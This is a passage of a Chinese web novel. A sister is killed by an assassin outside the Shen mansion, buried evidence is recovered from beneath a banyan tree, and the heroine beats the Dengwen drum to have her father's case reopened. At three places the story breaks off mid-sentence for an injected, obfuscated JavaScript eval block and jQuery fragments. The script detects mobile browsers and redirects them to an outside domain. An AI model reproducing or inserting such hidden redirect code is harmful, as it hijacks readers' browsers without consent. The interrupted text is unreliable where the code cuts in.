想到兔园册上的“证据”和“回京”四个字,纪杪春突然觉得也许她知道苏晞光将那些收集到的证据藏到了哪里。
虽然苏晞光放弃了用证据揭穿沈和玉的罪行,但他没有那么做也许是有他的理由和顾虑,可纪杪春却没有。
“明日便启程,待我回京之后,你便带着姐姐藏到别的地方去,越远越好。”盯着段襄的眼睛,纪杪春坚定地说道。
如果勾结朝官一事真的被彻查,她说不定可以趁机要求重申父亲的案子。
作为罪人之女,纪杪春不能为官,不能为商,甚至父亲曾经的朋友也不愿再接济她。沈和玉几乎已经将她所有的路都切断了。故此招虽然凶险,但却是她能想到的唯一为纪家平反的方法。
想到这里,纪杪春急火攻心,她咳了两声,嘴角却流下一缕鲜血。她若无其事地将血擦去,想到了那个红色药丸。
明知那药丸是毒,可纪杪春却丝毫不在乎那毒会不会让她死,也并不想浪费时间去看大夫。她只在乎死前能不能找到证据。她要还纪家一个清白,要让世人知晓有多少无辜之人枉死在纪家刀下!
虽然不知纪杪春到底要做什么,但见她不再提苏晞光的事,段襄还是稍稍松了口气。他捏着衣袋中的那封信,想着找机会再把它交给纪杪春。
马上就到年关了,江南家家户户都在忙碌,纪杪春看着山下的灯火,想着上一次过年时她还在狱中呆着,那时狱卒破天荒地多给了她几个白面馒头。那馒头硬硬的,味道也算不上有多好,可纪杪春却还是高兴了一整天。
她高兴不是为了自己,是想着父母和姐姐也跟她一样能吃上馒头,所以才高兴。可那时的她却不知道父母早就死了,姐姐也变得痴傻,只会握着馒头哭闹。
再往前推,便是她与苏晞光成亲后的第一个新年。那天苏晞光特地带她去河边放了灯,还在灯上提了字。当时苏晞光不让她看,说看了便不灵验了,可当那灯飞上天之后,纪杪春却还是看到了那几个字。
岁岁年年,唯念卿安。
短短八个字而已,却让她开心了好久好久。那时的纪杪春觉得,以后两人还会一起过很多很多个新年,苏晞光还会给她放很多很多的灯,却没想到那便是唯一一次了。
为了让纪杪春吃点东西,段襄偷偷下山买了一些糖糕,纪清冬明明嘴馋,却还是只吃了一小块,另一半举在手上舍不得吃。看着她小心翼翼的样子,纪杪春摸了摸她的小脑袋。
出狱之后,由于纪清冬变得痴傻,纪杪春没少操心,像是她才是姐姐,纪清冬是妹妹一样。
此次她去了京城,不知二人何时才能再相见。无论如何,她只希望纪清冬能平安顺遂地度过一生。
眼看已经到了子时,纪清冬抱着那半块
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129351|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
糖糕窝在墙角睡着了。段襄犹豫了许久,却还是问出了心中所想:“你回京是为了……为了苏晞光吗?”
纪杪春愣了一下,下意识地想摇头,却又顿住了。她不算是为了苏晞光,可又要去做苏晞光也许曾经想做的事。
“我想为爹娘报仇。”纪杪春盯着破庙外的黑暗,小声说道。
“还有那些被我连累的人……他们并非为我而死,却的的确确是因我而死。”
听到这话,段襄一时不知如何反应。他心里有种不好的预感,仿佛纪杪春此番进京,两人便再不能相见了。
“虽然不知道你要做什么,但是如果、如果你愿意的话……”段襄别过头去,磕磕绊绊地说道:“如果你愿意的话,我可以带你走。”
“你可以跟我一起回老家,我会护着你和纪清冬,总好过你成天奔波劳累。”说到这里,段襄在心里悄悄叹了口气。
眼前的纪杪春形容枯槁,浑身是伤,像是马上就要熄灭的风中烛火。这样的她,与多年前那个绿裙少女几乎没有一点相似之处。
可她的眸子却还是亮亮的,无论再过多少年都不会改变。
如果纪杪春愿意将那些仇恨抛之脑后,段襄二话不说便会带她走,她已经很辛苦了,明明那么沉重的担子,却只能由她一人背负。
纪杪春许久没说话,她纤细的手指碾着破烂的衣角,随后轻轻地摇了摇头。
“我没法回头。”她这样说道,只这一句,段襄便知道了她的答案。
他明白,曾经的纪杪春是爱着苏晞光的,出了狱之后,这种爱就变成了恨,可无论如何,她心中都容不下别人了。
“沈家家主陷害我父亲,让我纪家饱受迫害,单凭这点,我便无法苟且偷生。”纪杪春说道:“而且,万一我赢了呢?”
你又为什么觉得我会输呢?
看着纪杪春的表情,段襄缓缓地点了点头:“既然如此,那我帮你。”
段襄虽然不知纪杪春具体的计划,可他却鬼使神差地觉得纪杪春一定能替纪家讨回公道。纪杪春从小便不是那种菟丝花一般的富家小姐,在段襄看来,她更像是路边的小黄花,虽然看着不起眼,但却能在暴雨之后再次开得繁盛。
天命有德,必会使她苦尽甘来。
纪清冬躺在破庙的一角,她的手攥得死死的,糖糕都被抓烂了。明明睫毛一直在微微颤抖,可她却还是没有睁开眼睛,企图继续装睡。
曾经的她那么喜欢江南,哪怕小春执意让她留在燕北表姑家,可她却还是偷偷地溜出了黎镇,想要跟着纪杪春。
但当她真的到了这里,却看不到话本中描述的花红柳绿,她只能看到小春身上的伤痕,听到父母已经去世的消息。
江南不是个好地方。纪清冬这么想着,泪水顺着眼角一滴一滴地落到了破庙的石砖上。
她好想带着小春回燕北,可是回不去了,原来她在燕北已经没有家了。
12. 江南雪
夜里,趁着纪杪春和段襄都睡着了,纪清冬小心翼翼地溜出了破庙。她站在山顶上望着灯火通明的沈府,眸子里却是漆黑一片。
这次纪杪春又想让段襄带着她走,可她却不想再先走了。她没了父母,只有小春陪在她身边,她不愿再东躲西藏,把担子压在小春身上了,也不想让小春再疼了。
她是个没用的姐姐。想到纪杪春身上的伤,纪清冬忍不住又红了眼眶。
最后回望了一眼庙中熟睡的二人,纪清冬趁着夜色下了山。山上草木繁盛,粗硬的枝干刮破了她的脸颊手臂,可她忙着赶路,一刻也不敢停歇。
纪清冬就这么走啊走,直到看到沈府的牌匾才停了下来。她蹲在灌木丛中幽幽地望着那朱红色的大门,思考着怎么才能混进去。
她的想法很简单,既然沈家家主害死了她爹娘,那她便杀了他。
还没等纪清冬有所行动,便闻到一股酒气,她回头望去,只见自己身后站着一个黑衣人。那黑衣人面无表情,冷冷地盯着纪清冬,手上还握着一把闪着银光的匕首。
这黑衣人正是将纪杪春带来江南的人,可纪清冬从未见过他,也不知道正是他屠了表姑一家。
黑衣人刚从酒肆出来,他脑子有些混沌,见纪清冬鬼鬼祟祟地蹲在草丛中,便悄悄站到她身后。没想到这小胖妞傻乎乎的,见到他也不跑。
“你在这里做什么?”他哑着嗓子问。
“我来找人。”纪清冬盯着黑衣人,小心翼翼地说道:“我要杀了沈家家主。”
一听这话,黑衣人嗤笑一声,他绕过纪清冬,头也不回地朝沈府走去。一个痴傻的小丫头罢了,多亏今日他心情好,否则早就一刀捅死她了。
见黑衣人要走,纪清冬急忙抱住他的小腿:“你是沈家的人?”
“是又如何?”
“带我进去,我要找沈家家主!”
“你也配见他?”黑衣人话音未落,小腿便传来一阵刺痛。他低头一看,只见纪清冬吭哧一口咬住了他的小腿。明明满口血腥味,可纪清冬就是不松嘴。
“嘶……你找死!”黑衣人没想到她会来这一出,剧烈的疼痛让他顿了一下,可不过一息他便反应过来了。他举着匕首不断地往纪清冬身上捅去,没过多久,鲜血就浸湿了脚下的泥土。
匕首锋利,很快便戳破了段襄找来的那件棉衣,也刺穿了她细嫩的皮肉。纪清冬全身都痛,不知道哪里来的鲜血糊了她满脸,可她却还是死死地咬着黑衣人的腿,直到扯下一块肉来。她忍着痛大声喊道:“我要找沈家家主,我要见他!”
见门口的府卫朝这边望来,黑衣人咬了咬牙,手起刀落拿匕首捅穿纪清冬的心脏。他喘着粗气,望着身下那具残破的身体,惊得酒都醒了。
“哪里来的疯婆子……”黑衣人将纪清冬一脚踹开,心里觉得十分晦气。家主最近心情不好,若是知道这么一个疯子在门口胡闹,说不定连带着他都会被丢去喂狗。
家主近些年来仇人不少,可在沈府门口就这么乱来的,这么多年也只有这胖丫头一个而已。
黑衣人把纪清冬扯到灌木丛的深处,见府卫不再看向这边才松了一口气,他恶狠狠地盯着纪清冬看了许久,随后便头也不回地走了。
伤口处的血一股一股地往外涌,纪清冬大口大口地呼吸着,却因为喉咙里的血而不断发出“嗬嗬”的声音。
“我要见……纪家家主……”她费力地喊着,可发出的声音却连自己都听不清。
纪清冬觉得自己可能没办法再回山顶的破庙了,不过也好,她也不用再成为纪杪春的累赘了。
虽然有的事纪清冬不懂,但她知道只要自己还活着,纪杪春便会一直挂念着她,哪怕要为父母报仇,都要先拜托段襄将她安顿好。
这回她走了,小春无论做什么都会轻松一些吧。纪清冬一边这样想着,一边满足地笑了。
不知何时,江南突然下起了雪,细细的雪落在纪清冬的眼睫上,随着她微弱的呼吸一颤一颤的,脸上冰凉的触感让她觉得自己好像回到了燕北。
可她知道,燕北的雪没有这么小的。在她还年幼的时候,燕北指甲盖一样大的雪花一片片地落下来,在地上积了厚厚的一层,踩上去能陷到小腿,还会发出嘎吱嘎吱的声音。每当那时,她便会牵着妹妹在雪地里留下一个一个的脚印,一路走到家里。
进了家门,母亲便会帮她们掸去身上的雪,领着她们去吃热乎乎的汤饼。
纪清冬费力地睁开了眼睛,她看着越下越大的雪,惦记着那半块还没来得及吃的糖糕。飘扬的雪花盖住了她的身体,马上便要将她淹没,想到马上就要见到父亲母亲,纪清冬便觉得身上很是轻松。
也许等她再睁开眼睛,便能回家了。
正如她的名字一样,纪清冬最终还是留在了冬天。她死的时候,江南下了一场大雪,那雪下得很大,这里的人已经数十年没有见过这样的雪了。
山顶破庙中,天刚破晓,段襄便突然惊醒。他望着庙外厚厚的积雪有些出神,过了好一会才意识到本来窝在角落的纪清冬不知去了哪里。
看着纪杪春哪怕在梦中也蹙着眉,段襄犹豫了一下,还是没忍心叫醒她。他拿着剑,踩着柔软的雪,顺着树枝折断的痕迹一路下了山。
段襄并不知道为什么纪清冬要偷偷溜走,他在冰冷的空气中嗅到了一丝若有若无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129352|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的血腥气,这让他隐隐有些担忧。而等他看到那个几乎被雪完全盖住的人时,这份忧虑更是到达了顶峰。
段襄拿着剑鞘将积雪拂开,果然看到了纪清冬的脸。她浑身是血,表情却宁静祥和,嘴角还噙着笑意,像是刚睡着了一般。
而她胸口插着的那把匕首,段襄记得自己曾经在黑衣人的身上见过,从黎镇小吏说的话来看,那黑衣人似乎和沈家有关。
沈家家主本身便与纪家有仇,现在沈家的人又杀了纪清冬,想到纪杪春的身体状况,段襄不知道自己应不应该告诉她。
可若是要瞒,他又能瞒多久呢?
段襄将纪清冬的尸体埋到了山脚下,随后便带着黑衣人的匕首朝山上走去,在看到纪杪春的那一刻,段襄才发觉自己的手抖得几乎握不住匕首。
这也是他第一次害怕见到纪杪春。
“……姐姐呢?”纪杪春看着那把带着血的匕首,颤抖着问道。她等了许久,却也没等到段襄的回答。
这匕首通体漆黑,上面还带着金色花纹,纪杪春记得它,在燕北的时候,曾经有人将这把匕首抵在她的脖子上。而现在,这匕首沾满了纪清冬的血。
纪杪春摇摇晃晃地站了起来,她抽出段襄的剑,直直冲进了大雪之中,寒冷的风刮得她脸颊生疼,可她却连眼睛都没眨一下。
段襄几步便赶上了纪杪春,他握着纪杪春的手腕,张了张嘴,却发现自己什么都说不出来。
“我要杀了他。”纪杪春用力将段襄挥开,却又不小心跌坐在雪中,她剧烈地咳着,像是要把心都呕出来。明明是这么冷的天,可她的额头却滚烫,雪花落下来马上便化成了水,将她的额发打湿。
纪杪春望着山下的沈家,她想哭,却发不出声音,只有眼泪止不住地往下掉。融化的雪水浸透了她的衣袖,也浸透她身上的伤口,丝丝缕缕的鲜血渗了出来,接着又马上落到了雪里。
纪杪春本来现在身体便不太好,在雪中这么一折腾,别说去报仇了,可能走到山下都会要了她半条命。
段襄从未见过纪杪春露出这样的表情,他忍不住红了眼眶:“我把她埋到了山下,说不定等你回了京城,为纪家平反之后,雪便化了。”
“等到那时,我再带你去看她。”
纪杪春没理会段襄说的话,她费力地撑着雪想要站起来,却又跌坐在雪中,反复试了几次之后,她便不再动了。
人死后会去哪里呢?
也许会变成雪吧。杪春看着眼前的大雪这样想着。
娘说好人死了,会变成天上的雪,坏人死了,会变成脚下的泥。
可她没想到,原来江南也会下这么大的雪。
13. 小匣子
雪停了,段襄便带着纪杪春回了京。一路上,纪杪春像没了生气的木偶一般,她病恹恹地坐在板车上,甚至都忘了问段襄这些日子他把这驴藏到哪里去了。
一路上,除了必要的交流以外,二人几乎没说过什么别的话,段襄虽然担心纪杪春,却又不敢表现出来,便只好默不作声地赶车。
好在这野驴会察言观色,它不再怪叫,一路朝着京城飞奔,没过多久便进了城。
虽然不知道纪杪春要做什么,可段襄却还是趁着夜色把她带进了那个已经荒草丛生的纪府。看着眼前残破却又熟悉的景色,纪杪春一时有些挪不动脚步。
她已经很久没有回到纪府了,久到仿佛住在此处是上辈子的事。明明这里的一砖一瓦都还在原来的位置上,可府中的那些人却已经尽数不见了。
见纪杪春看得出神,段襄便也不愿打扰她,于是便离了府在不远处等她。
借着月色,纪杪春顺着小径慢慢地向前走着。府上值钱的东西都已经被瓜分得一干二净,只余下几座残破的厢房,而这些厢房中的其中一间便是苏晞光与纪杪春成亲后住的屋子。
纪杪春走到窗边向内看去,却发现连那个不值钱的矮榻都被拆得七零八落。
以前天气热的时候,她总是习惯靠在矮榻上一边吃着杨梅一边看着自己私藏的那些画册,若是苏晞光恰好也没事干,便会坐在她的身边看书,时不时还会拿着扇子给她扇两下。
那时正值盛夏,纪杪春热得每天都盼着冬天,可到了冬天,纪家却倒了,那为她打扇的人也不见了。
路过厢房再往前走,便来到了后院。与前院一样,后院也是一片残砖碎瓦,除了一颗榕树外,便是被雪覆盖的杂草。
纪杪春挑着地方落脚,她走到榕树下,抬头看着那被雪覆盖的枝丫,想着苏晞光曾说要将那个装着小玩意儿的匣子埋在树下,不知还作不作数。
虽然回了京城,但纪杪春也不确定苏晞光会将那些证据藏在哪儿,于是她便只能凭着直觉回到了府中。苏晞光不知去了何处,除了纪府之外,她也不知道还能再去哪里找证据了。
将树下的雪扒到一边后,纪杪春捡起一块地上的瓦片开始刨土,没刨几下,瓦片便从中间断裂,锋利的边缘将她的手掌都划破了。
纪杪春把碎瓦丢到一边,她将袖子挽了起来,两手并用地往下挖去。碎石割伤了她的手指,指甲中也嵌进沙石,新伤叠着旧伤细细密密地布满了她的指尖。
可即便如此,纪杪春却还是嫌自己挖的不够快。她低着头,不知疲倦地将一捧又一捧的土扬到一旁,没过多久,便在地上挖出了一个坑。
纪杪春机械地重复着同样的动作,连肩膀都变得酸痛也不愿停下。直到某一刻,她的手指触到了一个冰凉坚硬的东西,那东西在月光下泛着莹润的光,明明不算多亮,可纪杪春却还是不自觉地眯起了眼睛。
那是一个玉匣。纪杪春小心翼翼地用袖子拂去匣子上的土,借着月色将其缓缓打开。
匣子里,最上面的是一枚破碎的风筝残片,残片上像是写了什么字,却因为时间太久已经模糊不清了,再往下翻,便是一朵已经干枯了的小黄花。
纪杪春记得这小黄花,新婚之夜,苏晞光曾说过江南春色不及这花一分。
这匣子明明很小,可里面却装着许多东西,有两人一起去庙会买的泥人,纪杪春缝的破破烂烂的手绢,一本已经有些破烂的画册,封面上写着《冷情厨子爱上穿越螃蟹》……
纪杪春捻起风筝碎片,她对着月光仔细辨认许久,才看出上面写着的是“朝朝暮暮常相伴,岁岁年年共白头”。
“骗子。”纪杪春自言自语道。
明明是江南沈家的小公子,却偏要骗她说自己是个普通书生;明明说好了常相伴共白头,可现在人都不知道去了哪里。
可是,苏晞光的身份虽然作了假,但他的心不假。
纪杪春捧着这沉甸甸的小匣子,突然觉得自己好像错怪苏晞光了……也许苏晞光是爱她的。
纪杪春小心翼翼地将匣子里的东西依次取出,压在最下面的,是几张写满了字的纸。看着纸上那熟悉的字迹,她的眼睛越来越亮。
原来她想找的东西,竟真的被苏晞光放在这匣子里。
为了寻找苏晞光收集到的证据,想必沈和玉已经派人来纪府找过几番,可最终却什么都没发现,他们找了那么久,却没想到榕树下竟然埋了个小匣子。
而这个秘密,只有苏晞光和纪杪春两人知道。
纪杪春把除了证据之外的其他物件装回了玉匣,又把匣子重新埋到了榕树下。段襄带着她偷偷溜出了纪府,一路回到了那个曾经为她遮风挡雨的京郊破庙。
破庙与几人离开时并无不同,唯一变了的只有纪杪春的心境。
刚来这里时,她才从狱中出来没多久,那时姐姐还在,而她一心想着找苏晞光要回纪家的钱。当时的纪杪春仅凭着兔园册上的几个字,便毫不犹豫的去了燕北。
说来也奇怪,这兔园册先是引着她去了黎镇,又想让她去江南,这两个地方一个是苏晞光呆了十年的庇护所,另一个则是他的家乡。
冥冥之中,兔园册指引着她走过那些苏晞光曾走过的路,也让她明白了他到底是谁。
只可惜册子被她落在了沈家地牢中,估计这辈子也找不回来了。
既然如此,最开始出现的城西小树林又是什么意思呢?
既然兔园册上这么写了,那纪杪春便相信城西一定有着什么,虽然她想去看看,但她还是打算先完成更重要的的事。
过完年之后没多久,春天便来了,冰雪逐渐消融,纪杪春的身体却越来越差。回京之后,段襄便一直在帮她在坊间打探证据中提到的某些人的消息,而她则是整天呆在破庙里,对着苏晞光留下的那几张纸冥思苦想。
这些纸上一部分记录着那些与沈和玉勾结的官员姓名,另一部分则是与纪桐有关。前面那几张纸比较好理解,可有关纪桐的部分却写得十分杂乱,纪杪春理了许久才明白苏晞光在写些什么。
丰州有个叫张绪的市舶使,他与沈和玉年岁相当,二人年少时便相交甚密,而在沈和玉成为沈家家主后,他们之间书信往来便更加频繁。
张绪虽然主管出海贸易一事,却也在暗地里插手了不少其他京中事务,这其中少不了沈和玉的推波助澜。凡是京城的商人,或多或少都与张绪有些关系。而在纪家入狱之前,那些主动与纪桐交好的商人便也是受张绪的指使。
那时,张绪参与贩卖私盐一事几乎就要败露,正在他无计可施之时,沈和玉却给他写了封信,说京中有个叫纪桐的商人,平日里做些贩茶的生意。这纪桐在京中自立门户,虽然能赚些钱,但也着实辛苦,若是能以利诱之,让他与盐帮的人交好,再想办法将罪名嫁祸到他的身上,便能全身而退。
虽然知道沈和玉这么说必定是有私心,但不得不说这也的确是个好法子。这纪桐在京中一向是单打独斗,本就不牵扯任何一方势力,他来京也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129353|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过几年,若是出了事,也没有肯费心为他平反的人。张绪正处于水深火热之中,没来得及多想,便差人去办了这事。
他本以为此事天衣无缝,却没想到被苏晞光看出了其中蹊跷。
在来京之前,苏晞光虽然身处燕北,但那徐娘子的丈夫却时不时进京替他探查沈和玉勾结朝官一事。徐家夫妇本是苏夫人的丫鬟和小厮,苏夫人待人接物一向宽容和善,这徐家夫妇便也是忠心耿耿,为苏晞光调查此事更是尽心尽力。
年岁稍大一些后,苏晞光便进了京,他孑然一身,不怕被报复,本是打算待证据妥当后便去把沈和玉告上朝廷,却没想到遇到了纪杪春。在那之后,苏晞光便有了顾虑,他不敢再冒险了,于是便打算换个更稳妥的法子。
他虽然未得名师教导,却从小天资出众,各类典籍皆是过目不忘。遇到纪杪春之后,苏晞光便打算入朝为官,等他有能力保护纪家后再想办法扳倒沈和玉。顺利通过的院试让他看到了希望,于是他在成亲之后又接着参加了秋闱。
在他中举后,便有一些商人打着结交的名头接近纪桐。苏晞光本是不太在意此事,可直到从那些商人的口中听到一个熟悉的名字之后,他才警觉起来。
那个名字叫齐云之,据说是丰州的一个商人。苏晞光早就知道丰州有个官员与沈和玉走得近,于是便留了个心眼。纪家入狱前的一段时间他经常独自出门,为的便是查明这齐云之的来头。苏晞光提前告知了纪桐此事,纪桐虽然将信将疑,却也让人去帮着打听了一番。
为了不打草惊蛇,苏晞光无法离京,于是便多花了点时间,可就在他查到齐云之本命齐运,是张绪手下的监舶务之后,纪家便出事了。
那一刻他才知道,原来沈和玉早就盯上了纪家。因为沈和玉的推波助澜,纪家做的生意便被张绪当成了一个遮掩罪行的幌子,而纪桐也成了一个完美的替罪羊。
纪桐提前听到了风声,他本想着苏晞光中了举人,定是有些人脉,为了能保全自己这个女婿,入狱之后能早日出来,便劝纪杪春与苏晞光和离。
纪家入狱之后,苏晞光倒是没辜负纪桐的期望去寻了那些与他交好的公子哥。可这贩卖私盐并不是小事,愿意为了交情帮助纪家的少之又少,哪怕有人想帮,也在被沈和玉知晓后无缘无故的便暴毙家中。
苏晞光知道沈和玉一直在暗中作祟,他便只好自己去帮着纪家打探,那段时间他成日奔波,原本矜贵的外表也变得憔悴不堪,但好在是找到了证据证明齐云之便是齐运,纪家入狱一事与张绪脱不了干系。
眼看着证据齐全,苏晞光马上便能帮纪家翻案,可却不知为何这事被搁置了下来,人也不见了。
纪杪春细细地看着那几张写满了字的纸,逐渐理清了苏晞光找到的那些证据。纸上记载的各类事务十分详细,甚至连其中一个商人在某天去了丰州与齐云之相见都写得清清楚楚。银钱往来的信息在钱庄皆有记载,商人出行又必须持有本州颁发的公验,纸上记载的事到底是真是假,由大理寺一查便知。
纪杪春将这几张纸细细地抚平,她满是伤痕的手指缓缓地拂过纸上一个又一个的“纪家”,想着苏晞光当时为了翻案,一定受了不少的苦。可纪杪春出狱后,却一厢情愿地觉得苏晞光为了不受纪家牵连,早就带着银钱跑了。
“原来你没有食言。”她眨了眨干涩的眼睛,小声说道。
她本应该相信他的。
因为他是苏晞光,凡是他对纪杪春说的话,每一句都作数。
14. 再相见
苏晞光小小年纪便被送到了燕北,他父母双亡,孤立无援,为了扳倒沈和玉蛰伏多年,收集了不少沈和玉与朝官勾结的证据。与纪杪春和离之后,为了能帮纪家翻案,他又东奔西走了不少时日。
明明掌握着那么多证据,可他却不知为何凭空消失了。
纪杪春闭上了眼睛,不愿再多想。查证之路凶险,哪怕沈和玉多番阻挠,可苏晞光也尽力地破了局,眼下证据确凿,却唯独缺了一环,那便是一个能舍弃生命,心甘情愿为了此事而死的人。
世家大族间的利益盘根错节,若是有人揭发了沈和玉,先不说他背后的范阳卢氏,那些与他勾结的官员定是不会善罢甘休,所以要想将勾结朝官一事上报朝廷,那便要先做好被报复的准备。
也许苏晞光本想自己成为这一环,可既然他没有露面,那就势必需要别人补上。
此时已是仲春,纪杪春将证据揣到了衣袋中,她最后看了一眼破庙中半阖着眼的大佛,便跨过门口的灰泥走了出去。
京中游人如织,纪杪春身上穿着一件破破烂烂的衣服,头发也乱糟糟的,走在街上频频引人侧目。可她像是察觉不到似的,自顾自地往前走着。
朝堂之外放着一座登闻鼓,这鼓已经许久未被敲响了,见这乞丐一般的女子站到了鼓前,路人纷纷停下了脚步,一边盯着纪杪春,一边窃窃私语。
纪杪春深吸了一口气,拿起那落了灰的鼓槌,莽足了劲敲了上去。
“请大理寺重新审理纪桐贩卖私盐一案!”她的嗓音沙哑,却还是尽自己最大的力气喊了出来,哪怕街上十分嘈杂,往来之人也能将她的话听得清清楚楚。
“沈和玉勾结朝官,滥杀无辜,自牉弑父,陷害幼弟……”话音未落,只听咚的一声,鼓槌再一次狠狠落下。
纪杪春手上的伤还未好全,由于太过用力,伤口便尽数崩开,鲜血混着灰尘使得鼓槌变得滑腻,让她几乎握不住。她将鼓槌丢在地上,咬紧牙关,以双手做鼓槌,一下又一下地敲着登闻鼓,在鼓面上留下丝丝血迹。
“天理昭昭,请大人明鉴!”
纪杪春眼前一阵阵发昏,明明手已经很痛了,可她却还是一下又一下地敲着鼓,像是要把心里的委屈全部发泄出来。
每一次鼓声响起,纪杪春便会在心中随之默念。
“咚!”
这一下,是为了枉死的纪家众人。
“咚!”
这一下,是为了徐娘子和她丈夫。
“咚!”
这一下,是为了刘湘芝一家。
纪杪春不知敲了多少下鼓,直到登闻鼓下方已经汇集了一小滩鲜血,她才喘着粗气停了下来。看着堂中走出一个穿着官府的男子,纪杪春直直地便跪了下去。
“请大人……明鉴……”明明连话都说不清了,可纪杪春却还是努力地对着那人弯下了腰,磕了个响头。
段襄站在围观的人群中远远地看着这一切,只见纪杪春微微有些咳嗽,单薄的身体止不住地颤抖,可她的目光依旧坚定,像在江南的那晚一般,明明深处黑暗之中,她的眸子却是亮亮的。
敲登闻鼓后,按律女子应受拶刑,纪杪春眼睁睁看着小吏将夹板夹在她的手上,她却一声不吭,直到头上布满了细密的汗珠,手指骨骼断裂,她却还是目光灼灼地看着那身着官服之人。
拶刑结束后,她便忍着痛,满手鲜血地将那几张写着证据的纸呈了上去。
“你可知,这证据上写的沈和玉是江南沈氏之人,而这张绪是先帝钦点的市舶使?”那男子看着手上浸满鲜血的纸,缓缓问道。
看着纪杪春满是血污的手,他在心里叹了口气。这两位的身份可大有来头,哪怕治了这二人的罪,敲鼓之人也难逃一死。
纪杪春点了点头。
她本就是将死之人了,她不怕报复,只怕这些苏晞光亲手写下的证据无法呈到世人面前。天理昭昭,她坚信寒夜的星火也能燃成炬焰,只需有人执此明灯,便能照彻九重天。
周围人头攒动,纪杪春在人群中看到了段襄的身影,她很想笑一下,好让段襄别担心她,可她努力地扯着嘴角,才发现自己连笑都笑不出来了。
段襄不知道,在离开破庙之前,纪杪春偷偷地从他旧衣的衣袋中取出了一封信。这信是他在燕北徐家找到的,当时的他想着找个合适的机会将信交给纪杪春,最后却将这事忘记了。看着衣袋中露出的那一角,纪杪春本是想替段襄将其塞回去,却鬼使神差地把它取了出来。
看着信上的字,她的目光微微一凝。
这信是苏晞光写给徐娘子的,明明只有寥寥几句话,却有许多涂改的痕迹。
信上说新帝将要登基,若是届时天下大赦,纪杪春便会被放出来。如果他遭遇不测,纪杪春又恰巧寻到黎镇,还请徐娘子为她补贴些银钱。
信上还说,要是在他死之后的一年内都没有见到纪杪春的话,就让徐娘子换个地方生活,以免被奸人暗害。
看着信上简短的内容,纪杪春眨了眨眼睛,嗓子有些发紧。
也许是不相信苏晞光死了,也许是为了等纪杪春,明明已经过了一年之期,可徐娘子却还是呆在燕北,直到被黑衣人杀害也没有离开。
所以,苏晞光这么久没出现,是因为他死了吗?
段襄怕她多想,所以一直没有告诉她自己还藏着一封信。可纪杪春并不信苏晞光会死,收集证据固然凶险,但是正如徐家夫妇说得那样,他那么聪慧,定能逢凶化吉。
……
纪杪春敲登闻鼓一事,一时间闹得满城风雨。她一个罪人之女胆敢状告当朝命官和氏族公子,这么多年来也是头一回。新帝登基不到一年,为了肃清朝政,自是不会放过这个机会。他不仅命大理寺彻查此事,还让人将纪杪春安置到京中一处府邸,并派重兵把守,生怕真相水落石出之前她便被暗中加害。
这新住处守卫森严,连段襄想去见一见纪杪春都被屡次拒绝,纪杪春在府中呆了几日便坐不住了,她跟守卫央求了好几回,却还是没法出去。
纪杪春没事的时候便在府里溜达,她一连转了好几天,总算是在一个不起眼的小角落发现了一个狗洞,她试了试,发现这狗洞刚好能让她钻出去,于是便打算趁着夜深人静之时偷偷离开。
到了夜里,纪杪春偷偷摸摸地溜到墙角,又吭哧吭哧地从狗洞往外爬去,可她刚探出半个身子,便看到了一双翘头履。纪杪春惊觉不妙,刚想钻回去,就被一双手扯了出来。
眼前之人正是看着她的守卫之一,为了出门,纪杪春平日里没少求他。他看着纪杪春灰头土脸的样子,有些不耐烦地皱起了眉头:“你说说你是不是闲得慌,天天在府中好吃好喝的供着,怎么还想着往外跑。”
纪杪春讪笑了两声:“我想去找我夫君。”
“我得去找他,再找不到我便要死了。”
纪杪春的身体越来越不好,可她还没去过城西小树林呢,她生怕自己来不及去便死了,于是才天天琢磨着怎么逃出去。
守卫愣了一下,随后便说道:“……我看你是嫌死得不够快。”
说完这话,他左右看了看,随后迅速地将自己的匕首塞到纪杪春手中,低声说了一句:“给你防身用,快去快回。”
他在这里守着纪杪春呆了数十天,可在这段日子里,纪杪春的身体明显越来越差,一连来了几个郎中都找不到治疗的法子。
纪杪春敲登闻鼓的那天他也在场,只见那女子身形单薄,明明满手鲜血却还是奋力敲鼓,虽然这侍卫面上不显,但心里其实是有几分敬佩的。每次想到纪杪春会病死在府中,他便觉得有些可惜。
所以,既然纪杪春这么想出去,那他便让她走,可之后的事,他可管不了了。
……
出了府之后,纪杪春便一路朝西跑去。春季多雨,不知何时天上布满了厚厚的云层,将月色都尽数掩盖,随后便淅淅沥沥地下起了小雨。纪杪春跑得气喘吁吁地,没跑几步就累得够呛。可即便身体很累,她却越跑越快,直到看到了城西那一片树林才慢慢停下脚步。
